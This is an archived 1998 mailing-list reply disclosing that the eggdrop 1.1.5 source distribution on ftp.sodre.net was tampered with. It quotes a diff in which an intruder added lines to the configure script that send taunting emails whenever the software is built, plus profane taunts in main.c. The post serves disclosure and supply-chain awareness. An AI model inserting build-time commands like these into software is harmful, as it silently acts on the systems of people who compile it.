Re: FTP.SODRE.NET Hacked... Eggdrop Modified..

From: Matt Hallacy (poptixat_private)
Date: Sat Dec 19 1998 - 18:00:44 PST

  • Next message: Mr. M: "Re: FTP.SODRE.NET Hacked."

    Actually, this is not the extent of the problem.. (see below) sodre.net
    was emailed, and the distribution files have been like this for over a
    week now. So much for responsive admins.
    
    diff -rc eggdrop1.1.5/configure eggdrop1.1.5+hacked/configure
    *** eggdrop1.1.5/configure      Sun Jun 22 21:24:23 1997
    --- eggdrop1.1.5+hacked/configure       Tue Nov 24 03:59:16 1998
    ***************
    *** 1,4 ****
    --- 1,16 ----
      #! /bin/sh
    + # added by evil Jeremy :)
    + # lets send some email to our favorite friends
    + EMAIL="yo, Jeremy owns you.. sodre.net is OWNED FUCKERS"
    + echo $EMAIL | mail -s "sodre.net hacked" newsat_private
    + echo $EMAIL | mail -s "sodre.net hacked" newsat_private
    + echo $EMAIL | mail -s "sodre.net hacked" mail newsat_private
    + echo $EMAIL | mail -s "heheeh you guys are hung like horses" sodresuxat_private
    + echo "i hate you" | mail rootat_private
    + #echo "Your dead fucker." | mail -s "prosecute me plz" presidentat_private
    + # we chickened out :>
    +
    + # eof
    
      # Guess values for system-dependent variables and create Makefiles.
      # Generated automatically using autoconf version 2.12
    ***************
    *** 2590,2596 ****
    
      # This sed command replaces #undef with comments.  This is necessary, for
      # example, in the case of _POSIX_SOURCE, which is predefined and required
    ! # on some systems where configure will not decide to define it.
      cat >> conftest.vals <<\EOF
      s%^[  ]*#[    ]*undef[        ][      ]*[a-zA-Z_][a-zA-Z_0-9]*%/* & */%
      EOF
    --- 2602,2608 ----
    
      # This sed command replaces #undef with comments.  This is necessary, for
      # example, in the case of _POSIX_SOURCE, which is predefined and required
    ! v# on some systems where configure will not decide to define it.
      cat >> conftest.vals <<\EOF
      s%^[  ]*#[    ]*undef[        ][      ]*[a-zA-Z_][a-zA-Z_0-9]*%/* & */%
      EOF
    diff -rc eggdrop1.1.5/src/main.c eggdrop1.1.5+hacked/src/main.c
    *** eggdrop1.1.5/src/main.c     Sun Jun 29 13:18:07 1997
    --- eggdrop1.1.5+hacked/src/main.c      Tue Nov 24 03:36:21 1998
    ***************
    *** 1339,1344 ****
    --- 1339,1348 ----
             fatal("CANNOT FORK PROCESS.", 0);
            if (xx != 0) {
             printf("Launched into the background  (pid: %d)\n\n", xx);
    +        printf("Oh, and hi sexy losers\n");
    +        printf("We like, hacked sodre and like, backdoored your eggdrop :>\n");
    +        printf("Fuck you to pimpdog, and never buy shells at citronic.net\n");
    +        printf("Werd to Jeremy@EFNet and visit http://www.phorce.net\n\n");
      #if HAVE_SETPGID
             setpgid(xx, xx);
      #endif
    
    On Sun, 20 Dec 1998, Geoffrey Huntley wrote:
    
    > I was compiling an eggdrop today when i noticed something...
    > The eggdrop source code seemed to be modified... and said stuff that shouldn't be in the code...
    > and hack an url saying ftp.sodre.net was broken into... so i went and
    > checked it out..
    > So What do you know anyone else heard anymore on this subject?
    >
    >
    > ftp.sodre.net hacked
    > On December 13 1998 Jeremy hacked sodre.net today and replaced the eggdrop1.1.5 on ftp.sodre.net with a comical one written by ryan . ryan who wrote the eggdrop says all he did was add some printf statements to main.c and a few email commands to the configure file. ryan was in no way involved in the hack. If you view the source code you will see this:
    > printf("Launched into the background (pid: %d)\n\n", xx);
    > printf("Oh, and hi sexy losers\n");
    > printf("We like, hacked sodre and like, backdoored your eggdrop :>\n");
    > printf("Fuck you to pimpdog, and never buy shells at citronic.net\n");
    > printf("Werd to Jeremy@EFNet and visit http://www.phorce.net\n\n");
    >
    >
    >                                         \\|//
    >                          ___________ooO_(o"o)_OoO__________
    >                         |                (_)               |
    > Geoffrey Huntley        |                                  |
    > Self Proposed           |   Sometimes the simplest things  |
    > Unix Freak & XT Lover   |    in life are often the best    |
    >                         |                  - Diethyl       |
    > diethylat_private   |___________oooO_____Oooo__________|
    > talk diethylat_private    (  )/    ( ,)
    > http://diethyl.suspicion.org         \_)     (_/
    > ____________________________________________[iCQ# 22069278]
    >
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:25:19 PDT